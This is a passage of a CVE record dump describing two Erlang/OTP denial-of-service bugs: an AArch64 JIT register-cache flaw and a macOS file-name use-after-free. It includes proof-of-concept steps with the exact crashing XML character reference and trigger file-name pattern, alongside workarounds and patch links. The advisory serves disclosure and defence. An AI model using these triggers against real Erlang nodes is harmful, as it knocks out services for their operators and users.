              "value": "Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in the AArch64 JIT in Erlang OTP erts allows an attacker to crash the BEAM virtual machine via input that reaches a chained integer range guard, such as an oversized numeric character reference parsed by xmerl_sax_parser.\n\nIn erts/emulator/beam/jit/arm/instr_common.cpp, BeamModuleAssembler::emit_is_ge_lt wraps its generated code in preserve_cache and marks only TMP1 as clobbered. When the compared value is not a small integer, the generated code calls the shared fragment is_ge_lt_shared, which also overwrites ARG1 and other caller-saved registers. The register cache keeps stale entries, so later instructions may use a clobbered register as an Erlang term and the emulator dies with a segmentation fault. A reference such as \u0026#576460752303423488; takes this path in the ?is_char guard of the SAX parser. Only AArch64 builds that run the JIT are affected. The x86-64 JIT and interpreter builds do not contain the faulty code.\n\nThis issue affects OTP from OTP\u00a027.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 15.0 before 15.2.7.15, 16.4.0.8, and 17.1.2."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-129",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can get an affected AArch64 node to parse crafted XML, or to run other code that compiles to the same comparison sequence over a non-small integer, terminates the whole BEAM VM, including every unrelated application on it. Supervision cannot contain a native crash. Code execution, information disclosure and data modification have not been demonstrated.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can get an affected AArch64 node to parse crafted XML, or to run other code that compiles to the same comparison sequence over a non-small integer, terminates the whole BEAM VM, including every unrelated application on it. Supervision cannot contain a native crash. Code execution, information disclosure and data modification have not been demonstrated."
                    }
                  ],
                  "value": "An attacker who can get an affected AArch64 node to parse crafted XML, or to run other code that compiles to the same comparison sequence over a non-small integer, terminates the whole BEAM VM, including every unrelated application on it. Supervision cannot contain a native crash. Code execution, information disclosure and data modification have not been demonstrated."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-119",
                  "description": "CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:29:06.928Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "AArch64 JIT register-cache bug allows VM denial of service via XML",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-x527-4ww5-wwr5"
            },
            {
              "name": "EEF CNA record for CVE-2026-115747",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-115747.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-115747",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-115747"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Introducing commit 06d402a in erlang/otp",
              "tags": [
                "related"
              ],
              "url": "https://github.com/erlang/otp/commit/06d402a75078150963b75518ce271582bbb94897"
            },
            {
              "name": "Fix commit 043d119 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/043d119950d8de1975a8a507e424d87cf765fbab"
            },
            {
              "name": "Fix commit 62c26d1 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/62c26d132760569a2ac098ce144de2aed4daa548"
            },
            {
              "name": "Fix commit 841017c in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/841017c3c85cba30181e7e344e5b16dc0bc25c3b"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "AArch64 JIT register-cache bug allows VM denial of service via XML",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOn AArch64 hosts, run the emulator without the JIT: start it with \u003ccode\u003eerl -emu_flavor emu\u003c/code\u003e when the interpreter flavor is installed, or build OTP with \u003ccode\u003e--disable-jit\u003c/code\u003e. The interpreter does not execute the affected generated code.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "On AArch64 hosts, run the emulator without the JIT: start it with `erl -emu_flavor emu` when the interpreter flavor is installed, or build OTP with `--disable-jit`. The interpreter does not execute the affected generated code."
                }
              ],
              "value": "On AArch64 hosts, run the emulator without the JIT: start it with erl -emu_flavor emu when the interpreter flavor is installed, or build OTP with --disable-jit. The interpreter does not execute the affected generated code."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eRun an AArch64 build of OTP 27 or later with the JIT enabled; \u003ccode\u003eerlang:system_info(emu_flavor)\u003c/code\u003e returns \u003ccode\u003ejit\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eParse an XML document that contains a numeric character reference too large for a small integer, for example \u003ccode\u003e\u0026lt;a\u0026gt;\u0026amp;#576460752303423488;\u0026lt;/a\u0026gt;\u003c/code\u003e, with \u003ccode\u003exmerl_sax_parser:stream/2\u003c/code\u003e or \u003ccode\u003exmerl_sax_parser:file/2\u003c/code\u003e. No entity expansion or external resource is needed.\u003c/li\u003e\n\u003cli\u003eThe emulator exits with SIGSEGV (status 139) instead of returning \u003ccode\u003e{fatal_error, _, \"Not a legal character: #576460752303423488\", _, _}\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Run an AArch64 build of OTP 27 or later with the JIT enabled; `erlang:system_info(emu_flavor)` returns `jit`.\n2. Parse an XML document that contains a numeric character reference too large for a small integer, for example `\u003ca\u003e\u0026#576460752303423488;\u003c/a\u003e`, with `xmerl_sax_parser:stream/2` or `xmerl_sax_parser:file/2`. No entity expansion or external resource is needed.\n3. The emulator exits with SIGSEGV (status 139) instead of returning `{fatal_error, _, \"Not a legal character: #576460752303423488\", _, _}`."
                }
              ],
              "value": "* Run an AArch64 build of OTP 27 or later with the JIT enabled; erlang:system_info(emu_flavor) returns jit.\n* Parse an XML document that contains a numeric character reference too large for a small integer, for example \u003ca\u003e\u0026#576460752303423488;\u003c/a\u003e, with xmerl_sax_parser:stream/2 or xmerl_sax_parser:file/2. No entity expansion or external resource is needed.\n* The emulator exits with SIGSEGV (status 139) instead of returning {fatal_error, _, \"Not a legal character: #576460752303423488\", _, _}."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Code generation.\u003c/strong\u003e \u003ccode\u003eBeamModuleAssembler::emit_is_ge_lt\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/jit/arm/instr_common.cpp\u003c/code\u003e emits the \u003ccode\u003eis_ge_lt\u003c/code\u003e instruction, which the compiler produces for a chained guard of the form \u003ccode\u003eA =\u0026lt; X, X \u0026lt; B\u003c/code\u003e. The AArch64 emitter wraps the whole sequence in \u003ccode\u003epreserve_cache\u003c/code\u003e and declares \u003ccode\u003eTMP1\u003c/code\u003e as the only clobbered register, so the register cache keeps its entries across the instruction.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Generic path.\u003c/strong\u003e When the operand is not a small integer, the generated code loads it into \u003ccode\u003eARG1\u003c/code\u003e and calls the global fragment \u003ccode\u003eBeamGlobalAssembler::emit_is_ge_lt_shared\u003c/code\u003e. The fragment performs a generic term comparison and overwrites \u003ccode\u003eARG1\u003c/code\u003e and other caller-saved registers.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Stale cache.\u003c/strong\u003e The cache still records \u003ccode\u003eARG1\u003c/code\u003e as holding a copy of a BEAM Y register. A later instruction that needs that Y register reuses \u003ccode\u003eARG1\u003c/code\u003e instead of reloading it from the stack, and so operates on whatever the fragment left behind.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Crash.\u003c/strong\u003e The leftover value is treated as a tagged Erlang term. When it is dereferenced as a boxed term, the emulator reads an invalid address and dies with SIGSEGV. The whole node terminates without a crash dump.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5. Trigger.\u003c/strong\u003e The \u003ccode\u003e?is_char\u003c/code\u003e guard in \u003ccode\u003elib/xmerl/src/xmerl_sax_parser_base.erlsrc\u003c/code\u003e compares a decoded numeric character reference against several ranges in sequence. A value that does not fit a small integer on a 64-bit runtime, for example \u003ccode\u003e\u0026amp;#576460752303423488;\u003c/code\u003e (2^59), takes the generic path. The expected outcome is a \u003ccode\u003efatal_error\u003c/code\u003e naming an illegal character.\u003c/p\u003e\n\u003cp\u003eThe fix removes the \u003ccode\u003epreserve_cache\u003c/code\u003e wrapper so the cache is invalidated after the instruction, matching \u003ccode\u003eemit_is_in_range\u003c/code\u003e. The x86-64 emitter never preserved the cache here.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Code generation.** `BeamModuleAssembler::emit_is_ge_lt` in `erts/emulator/beam/jit/arm/instr_common.cpp` emits the `is_ge_lt` instruction, which the compiler produces for a chained guard of the form `A =\u003c X, X \u003c B`. The AArch64 emitter wraps the whole sequence in `preserve_cache` and declares `TMP1` as the only clobbered register, so the register cache keeps its entries across the instruction.\n\n**2. Generic path.** When the operand is not a small integer, the generated code loads it into `ARG1` and calls the global fragment `BeamGlobalAssembler::emit_is_ge_lt_shared`. The fragment performs a generic term comparison and overwrites `ARG1` and other caller-saved registers.\n\n**3. Stale cache.** The cache still records `ARG1` as holding a copy of a BEAM Y register. A later instruction that needs that Y register reuses `ARG1` instead of reloading it from the stack, and so operates on whatever the fragment left behind.\n\n**4. Crash.** The leftover value is treated as a tagged Erlang term. When it is dereferenced as a boxed term, the emulator reads an invalid address and dies with SIGSEGV. The whole node terminates without a crash dump.\n\n**5. Trigger.** The `?is_char` guard in `lib/xmerl/src/xmerl_sax_parser_base.erlsrc` compares a decoded numeric character reference against several ranges in sequence. A value that does not fit a small integer on a 64-bit runtime, for example `\u0026#576460752303423488;` (2^59), takes the generic path. The expected outcome is a `fatal_error` naming an illegal character.\n\nThe fix removes the `preserve_cache` wrapper so the cache is invalidated after the instruction, matching `emit_is_in_range`. The x86-64 emitter never preserved the cache here."
                }
              ],
              "value": "1. Code generation. BeamModuleAssembler::emit_is_ge_lt in erts/emulator/beam/jit/arm/instr_common.cpp emits the is_ge_lt instruction, which the compiler produces for a chained guard of the form A =\u003c X, X \u003c B. The AArch64 emitter wraps the whole sequence in preserve_cache and declares TMP1 as the only clobbered register, so the register cache keeps its entries across the instruction.\n\n2. Generic path. When the operand is not a small integer, the generated code loads it into ARG1 and calls the global fragment BeamGlobalAssembler::emit_is_ge_lt_shared. The fragment performs a generic term comparison and overwrites ARG1 and other caller-saved registers.\n\n3. Stale cache. The cache still records ARG1 as holding a copy of a BEAM Y register. A later instruction that needs that Y register reuses ARG1 instead of reloading it from the stack, and so operates on whatever the fragment left behind.\n\n4. Crash. The leftover value is treated as a tagged Erlang term. When it is dereferenced as a boxed term, the emulator reads an invalid address and dies with SIGSEGV. The whole node terminates without a crash dump.\n\n5. Trigger. The ?is_char guard in lib/xmerl/src/xmerl_sax_parser_base.erlsrc compares a decoded numeric character reference against several ranges in sequence. A value that does not fit a small integer on a 64-bit runtime, for example \u0026#576460752303423488; (2^59), takes the generic path. The expected outcome is a fatal_error naming an illegal character.\n\nThe fix removes the preserve_cache wrapper so the cache is invalidated after the instruction, matching emit_is_in_range. The x86-64 emitter never preserved the cache here."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-115747",
        "datePublished": "2026-11-24T15:29:06.928Z",
        "dateReserved": "2026-10-26T10:45:02.618Z",
        "dateUpdated": "2026-11-24T16:26:57.801Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-125658 (GCVE-0-2026-125658)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:28 – Updated: 2026-11-24 16:28
    VLAI
    Title
    Use after free in erts file name normalization on macOS
    Summary
    Use After Free vulnerability in Erlang/OTP erts allows an attacker who can create a file system entry with a chosen name to hang or abort the Erlang VM on macOS. On macOS, the VM decodes file names with do_utf8_to_list_normalize in erts/emulator/beam/erl_unicode.c. When a name starts with a combining mark, such as U+0301, cleanup_norm builds the first list cells but does not return its advanced heap pointer. The caller then releases the heap words that hold those cells, and the returned list refers to released process heap memory that the next allocation overwrites. file:list_dir/1, file:list_dir_all/1, file:del_dir_r/1 and filelib:wildcard/1 on a directory that contains such a name do not return, and the VM does not stop on SIGTERM. file:read_link/1 on a symbolic link with such a target aborts the VM with size_object: bad tag. Only loss of availability was demonstrated. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-11-24 16:28 UTC
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 6.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 9622ab2132e2501ee5769357a914dcc6635e515c , < 322b04488d9445c7258abce3e7f3bc79aa7c45d8 (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:28
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-125658",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-11-24T16:28:46.739978Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-11-24T16:28:56.749Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://cna.erlef.org/cves/CVE-2026-125658.html"
              },
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://osv.dev/vulnerability/EEF-CVE-2026-125658"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "prim_file"
              ],
              "packageName": "erts",
              "packageURL": "pkg:otp/erts?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "emulator/beam/erl_unicode.c",
                "preloaded/src/prim_file.erl"
              ],
              "programRoutines": [
                {
                  "name": "cleanup_norm"
                },
                {
                  "name": "do_utf8_to_list_normalize"
                },
                {
                  "name": "prim_file_internal_native2name_1"
                },
                {
                  "name": "prim_file:internal_native2name/1"
                },
                {
                  "name": "prim_file:list_dir/1"
                },
                {
                  "name": "prim_file:list_dir_all/1"
                },
                {
                  "name": "prim_file:read_link/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "15.2.7.15",
                      "status": "unaffected"
                    },
                    {
                      "at": "16.4.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "17.1.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "6.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "prim_file"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/erl_unicode.c",
                "erts/preloaded/src/prim_file.erl"
              ],
              "programRoutines": [
                {
                  "name": "cleanup_norm"
                },
                {
                  "name": "do_utf8_to_list_normalize"
                },
                {
                  "name": "prim_file_internal_native2name_1"
                },
                {
                  "name": "prim_file:internal_native2name/1"
                },
                {
                  "name": "prim_file:list_dir/1"
                },
                {
                  "name": "prim_file:list_dir_all/1"
                },
                {
                  "name": "prim_file:read_link/1"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "prim_file"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/erl_unicode.c",
                "erts/preloaded/src/prim_file.erl"
              ],
              "programRoutines": [
                {
                  "name": "cleanup_norm"
                },
                {
                  "name": "do_utf8_to_list_normalize"
                },
                {
                  "name": "prim_file_internal_native2name_1"
                },
                {
                  "name": "prim_file:internal_native2name/1"
                },
                {
                  "name": "prim_file:list_dir/1"
                },
                {
                  "name": "prim_file:list_dir_all/1"
                },
                {
                  "name": "prim_file:read_link/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "322b04488d9445c7258abce3e7f3bc79aa7c45d8",
                  "status": "affected",
                  "version": "9622ab2132e2501ee5769357a914dcc6635e515c",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe node runs on macOS with the default \u003ccode\u003eutf8\u003c/code\u003e file name encoding, and reads a directory listing or a symbolic link target that contains a name an attacker chose. Linux and other platforms do not normalize file names and are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The node runs on macOS with the default `utf8` file name encoding, and reads a directory listing or a symbolic link target that contains a name an attacker chose. Linux and other platforms do not normalize file names and are not affected."
                }
              ],
              "value": "The node runs on macOS with the default utf8 file name encoding, and reads a directory listing or a symbolic link target that contains a name an attacker chose. Linux and other platforms do not normalize file names and are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "versionStartIncluding": "17.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Sam Baud"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Sam Baud"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "dateAssigned": "2026-11-17T03:12:33.000Z",
          "datePublic": "2026-11-24T15:28:18.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUse After Free vulnerability in Erlang/OTP erts allows an attacker who can create a file system entry with a chosen name to hang or abort the Erlang VM on macOS.\u003c/p\u003e\n\u003cp\u003eOn macOS, the VM decodes file names with \u003ccode\u003edo_utf8_to_list_normalize\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/erl_unicode.c\u003c/code\u003e. When a name starts with a combining mark, such as U+0301, \u003ccode\u003ecleanup_norm\u003c/code\u003e builds the first list cells but does not return its advanced heap pointer. The caller then releases the heap words that hold those cells, and the returned list refers to released process heap memory that the next allocation overwrites. \u003ccode\u003efile:list_dir/1\u003c/code\u003e, \u003ccode\u003efile:list_dir_all/1\u003c/code\u003e, \u003ccode\u003efile:del_dir_r/1\u003c/code\u003e and \u003ccode\u003efilelib:wildcard/1\u003c/code\u003e on a directory that contains such a name do not return, and the VM does not stop on SIGTERM. \u003ccode\u003efile:read_link/1\u003c/code\u003e on a symbolic link with such a target aborts the VM with \u003ccode\u003esize_object: bad tag\u003c/code\u003e. Only loss of availability was demonstrated.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Use After Free vulnerability in Erlang/OTP erts allows an attacker who can create a file system entry with a chosen name to hang or abort the Erlang VM on macOS.\n\nOn macOS, the VM decodes file names with `do_utf8_to_list_normalize` in `erts/emulator/beam/erl_unicode.c`. When a name starts with a combining mark, such as U+0301, `cleanup_norm` builds the first list cells but does not return its advanced heap pointer. The caller then releases the heap words that hold those cells, and the returned list refers to released process heap memory that the next allocation overwrites. `file:list_dir/1`, `file:list_dir_all/1`, `file:del_dir_r/1` and `filelib:wildcard/1` on a directory that contains such a name do not return, and the VM does not stop on SIGTERM. `file:read_link/1` on a symbolic link with such a target aborts the VM with `size_object: bad tag`. Only loss of availability was demonstrated.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2."
                }
              ],
              "value": "Use After Free vulnerability in Erlang/OTP erts allows an attacker who can create a file system entry with a chosen name to hang or abort the Erlang VM on macOS.\n\nOn macOS, the VM decodes file names with do_utf8_to_list_normalize in erts/emulator/beam/erl_unicode.c. When a name starts with a combining mark, such as U+0301, cleanup_norm builds the first list cells but does not return its advanced heap pointer. The caller then releases the heap words that hold those cells, and the returned list refers to released process heap memory that the next allocation overwrites. file:list_dir/1, file:list_dir_all/1, file:del_dir_r/1 and filelib:wildcard/1 on a directory that contains such a name do not return, and the VM does not stop on SIGTERM. file:read_link/1 on a symbolic link with such a target aborts the VM with size_object: bad tag. Only loss of availability was demonstrated.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-153",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can create a file, directory or symbolic link target with a chosen name in a location that an Erlang node on macOS reads can make the VM hang or abort. The hung VM does not stop on SIGTERM.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can create a file, directory or symbolic link target with a chosen name in a location that an Erlang node on macOS reads can make the VM hang or abort. The hung VM does not stop on SIGTERM."
                    }
                  ],
                  "value": "An attacker who can create a file, directory or symbolic link target with a chosen name in a location that an Erlang node on macOS reads can make the VM hang or abort. The hung VM does not stop on SIGTERM."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.7,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-416",
                  "description": "CWE-416 Use After Free",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:28:21.735Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Use-after-free in do_utf8_to_list_normalize: a macOS file name starting with a combining mark hangs file:list_dir/1 and the VM",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-2pqq-qr2r-wgcc"
            },
            {
              "name": "EEF CNA record for CVE-2026-125658",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-125658.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-125658",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-125658"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Introducing commit 9622ab2 in erlang/otp",
              "tags": [
                "related"
              ],
              "url": "https://github.com/erlang/otp/commit/9622ab2132e2501ee5769357a914dcc6635e515c"
            },
            {
              "name": "Fix commit 322b044 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/322b04488d9445c7258abce3e7f3bc79aa7c45d8"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Use after free in erts file name normalization on macOS",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eStart the VM with the \u003ccode\u003e+fnl\u003c/code\u003e flag, for example through \u003ccode\u003eERL_FLAGS\u003c/code\u003e. The VM then does not decode or normalize file names. This changes the result of file name functions for names outside ASCII: the VM returns each byte of the name as one Latin-1 character.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Start the VM with the `+fnl` flag, for example through `ERL_FLAGS`. The VM then does not decode or normalize file names. This changes the result of file name functions for names outside ASCII: the VM returns each byte of the name as one Latin-1 character."
                }
              ],
              "value": "Start the VM with the +fnl flag, for example through ERL_FLAGS. The VM then does not decode or normalize file names. This changes the result of file name functions for names outside ASCII: the VM returns each byte of the name as one Latin-1 character."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
